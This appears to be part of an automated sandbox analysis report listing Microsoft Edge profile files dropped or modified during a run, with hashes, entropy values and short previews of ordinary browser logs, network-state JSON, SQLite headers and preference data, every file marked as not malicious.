C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.167756459017744
Encrypted:	false
SSDEEP:	6:HAkS3+q2P923oH+Tcwt8a2jMGIFUt8YAkTu3WZmw+YAkSVkwO923oH+Tcwt8a2jz:gkS3+v4Yeb8EFUt87kTKW/+7kSV5LYek
MD5:	392A9497E4336E3B272F4103170041DC
SHA1:	C997A371802D2B145E109307167F419790F76D0E
SHA-256:	1769A6881E8007CFFB06B2AD6F5CE5A57E8D77E143F3900E073A30E5AF53AFE6
SHA-512:	763B9513C924F5A8823369F2BFF5A7AAE1A94A70264174A529D27B087E021A5499C55AC0C3748222C3293F93B0560AD35212914FA3D3BD6E9F5D0A8DA9FB91DF
Malicious:	false
Preview:	2024/11/25-08:14:27.722 1c5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/25-08:14:27.723 1c5c Recovering log #3.2024/11/25-08:14:27.726 1c5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.167756459017744
Encrypted:	false
SSDEEP:	6:HAkS3+q2P923oH+Tcwt8a2jMGIFUt8YAkTu3WZmw+YAkSVkwO923oH+Tcwt8a2jz:gkS3+v4Yeb8EFUt87kTKW/+7kSV5LYek
MD5:	392A9497E4336E3B272F4103170041DC
SHA1:	C997A371802D2B145E109307167F419790F76D0E
SHA-256:	1769A6881E8007CFFB06B2AD6F5CE5A57E8D77E143F3900E073A30E5AF53AFE6
SHA-512:	763B9513C924F5A8823369F2BFF5A7AAE1A94A70264174A529D27B087E021A5499C55AC0C3748222C3293F93B0560AD35212914FA3D3BD6E9F5D0A8DA9FB91DF
Malicious:	false
Preview:	2024/11/25-08:14:27.722 1c5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/25-08:14:27.723 1c5c Recovering log #3.2024/11/25-08:14:27.726 1c5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0637521b-5baa-4890-9b5e-b643d5ac4208.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3d536899-b51e-46a2-91a3-3f632dd5548c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1546
Entropy (8bit):	5.337762808526039
Encrypted:	false
SSDEEP:	48:YcgCzsOkutsVcVfc7leeBakEsFvCgHxbx9+:F6uEG2keBakxvTxV9+
MD5:	9E86CAD579E877FE944D385FD2581308
SHA1:	E708DCBDD5BF4A0C0FBF4709ED5D7F75A5089201
SHA-256:	DC36264CCB44F468984591C7301943A015DB0A2857396CD6F76452BC3D7759EB
SHA-512:	59753894C057834BE0F9A5394577E2C05D5C49E208B251BAF5E164CF00A4F9F17D9CBAED3482B08E088B3DAE2C6C553F3ACF392BDDCA29CDCEE461864E54BCD3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379606072424341","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379606076901309","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\433f7a56-601a-4491-a701-1ff408bb3b57.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\44aa1392-a6ab-4048-b17e-da722fae7716.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\75111aa6-899a-4231-b42c-267faf8ea8d5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7769466642280882
Encrypted:	false
SSDEEP:	192:tT3L5IxvAWMmlxwvl56VJ1SCdXcf0L/ZJVb:V3zWMAxwvlmJ1xXI0LhJVb
MD5:	D3C6685257FB684CE3938C508AE6560F
SHA1:	7658277671589000A4C2CA6857C4F3396E54205A
SHA-256:	50F49B2271A5910F55DE396DB1436EAA20C23D21229B6B5E6288B97A5DEF904F
SHA-512:	13E307C545A06FBA136B65B3F0DC092ACF2A7CC8C44FB387BA2329279BD37986985D33FDFB5D91D6649CAEFBD7DF6315EBD977010CC7CB726ED31EAF93BED5D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4aa27.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2127733540222563
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB9W+:uIEumQv8m1ccnvS6IPqXu+v
MD5:	D27DE1DC25F9F69B6471F8213A78F48B
SHA1:	816A9E5CEA8CE3170B6DAB3642FAF7C159E892B0
SHA-256:	C144684C29F762B52EEF55493B61982D7ABF1B97D03EE4E49DC94B817156F22C
SHA-512:	6CB0D742079752E6E1993763FC2806EB8D269B72274BA6865BCE165CD94AED32C9C96EB8CFB239461B4830634F45AB9D2B1478F6398597A4CDE5112CC58D3EE3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39b85.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b1fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d517bbf2-39d7-4f7c-b7e5-18a261a391fd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.108494473658318
Encrypted:	false
SSDEEP:	192:stIkdpEsXZp3sZihUkxfC18IDbV+Fj0W5QA66WJQWobaFIMYWP1YJ:stIQEsXZp3fhCbGNQx6WwaTYJ
MD5:	69F7468F914934A9D3DC7F01F033B917
SHA1:	1DE55A792104CA9B14DE2FD66811851658D11AE4
SHA-256:	8D03451C7CEDCE5C69483988A33E2795D332E62D3B1A0F19BA62ABB9E23E688E
SHA-512:	7EFB721307E1023CAA7D58A5353FF9CBA112B7ACC3BDD9305E24AFD4414CA021D0F008EA78C1F169BBC5A34C142F2C3148D744C978F08EF59EFC76EF5568DB34
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377014068037485","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3de3c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.108494473658318
Encrypted:	false
SSDEEP:	192:stIkdpEsXZp3sZihUkxfC18IDbV+Fj0W5QA66WJQWobaFIMYWP1YJ:stIQEsXZp3fhCbGNQx6WwaTYJ
MD5:	69F7468F914934A9D3DC7F01F033B917
SHA1:	1DE55A792104CA9B14DE2FD66811851658D11AE4
SHA-256:	8D03451C7CEDCE5C69483988A33E2795D332E62D3B1A0F19BA62ABB9E23E688E
SHA-512:	7EFB721307E1023CAA7D58A5353FF9CBA112B7ACC3BDD9305E24AFD4414CA021D0F008EA78C1F169BBC5A34C142F2C3148D744C978F08EF59EFC76EF5568DB34
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377014068037485","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF42130.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.108494473658318
Encrypted:	false
SSDEEP:	192:stIkdpEsXZp3sZihUkxfC18IDbV+Fj0W5QA66WJQWobaFIMYWP1YJ:stIQEsXZp3fhCbGNQx6WwaTYJ
MD5:	69F7468F914934A9D3DC7F01F033B917
SHA1:	1DE55A792104CA9B14DE2FD66811851658D11AE4
SHA-256:	8D03451C7CEDCE5C69483988A33E2795D332E62D3B1A0F19BA62ABB9E23E688E
SHA-512:	7EFB721307E1023CAA7D58A5353FF9CBA112B7ACC3BDD9305E24AFD4414CA021D0F008EA78C1F169BBC5A34C142F2C3148D744C978F08EF59EFC76EF5568DB34
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377014068037485","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF49651.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.108494473658318
Encrypted:	false
SSDEEP:	192:stIkdpEsXZp3sZihUkxfC18IDbV+Fj0W5QA66WJQWobaFIMYWP1YJ:stIQEsXZp3fhCbGNQx6WwaTYJ
MD5:	69F7468F914934A9D3DC7F01F033B917
SHA1:	1DE55A792104CA9B14DE2FD66811851658D11AE4
SHA-256:	8D03451C7CEDCE5C69483988A33E2795D332E62D3B1A0F19BA62ABB9E23E688E
SHA-512:	7EFB721307E1023CAA7D58A5353FF9CBA112B7ACC3BDD9305E24AFD4414CA021D0F008EA78C1F169BBC5A34C142F2C3148D744C978F08EF59EFC76EF5568DB34
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377014068037485","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565473097186714
Encrypted:	false
SSDEEP:	768:DZ3+hCWP3zfrm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYtJLPrwwp9tuF:DZ3+hCWP3zfrmu1jaFPL8ytu
MD5:	C287B6FDA53EAB6908CEF8CA00B12CC4
SHA1:	BE0A6A3BE41580FA9EA2878C6E0FFF254C4A4643
SHA-256:	E942F67C595D1C6C3C98B51A216627669EC9CD3DF0996E4A5D97AA01A45F6271
SHA-512:	331A8CA560DDACB3B5D1DB6F7DB044B5E22F807A8DB87D4D505AB72A9B7C12A14A490DC2B0AA14ABB7D165417F526AFBA6590FF85E1470594D15D2B148B52EF4
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377014067422344","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377014067422344","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3d38d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565473097186714
Encrypted:	false
SSDEEP:	768:DZ3+hCWP3zfrm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYtJLPrwwp9tuF:DZ3+hCWP3zfrmu1jaFPL8ytu
MD5:	C287B6FDA53EAB6908CEF8CA00B12CC4
SHA1:	BE0A6A3BE41580FA9EA2878C6E0FFF254C4A4643
SHA-256:	E942F67C595D1C6C3C98B51A216627669EC9CD3DF0996E4A5D97AA01A45F6271
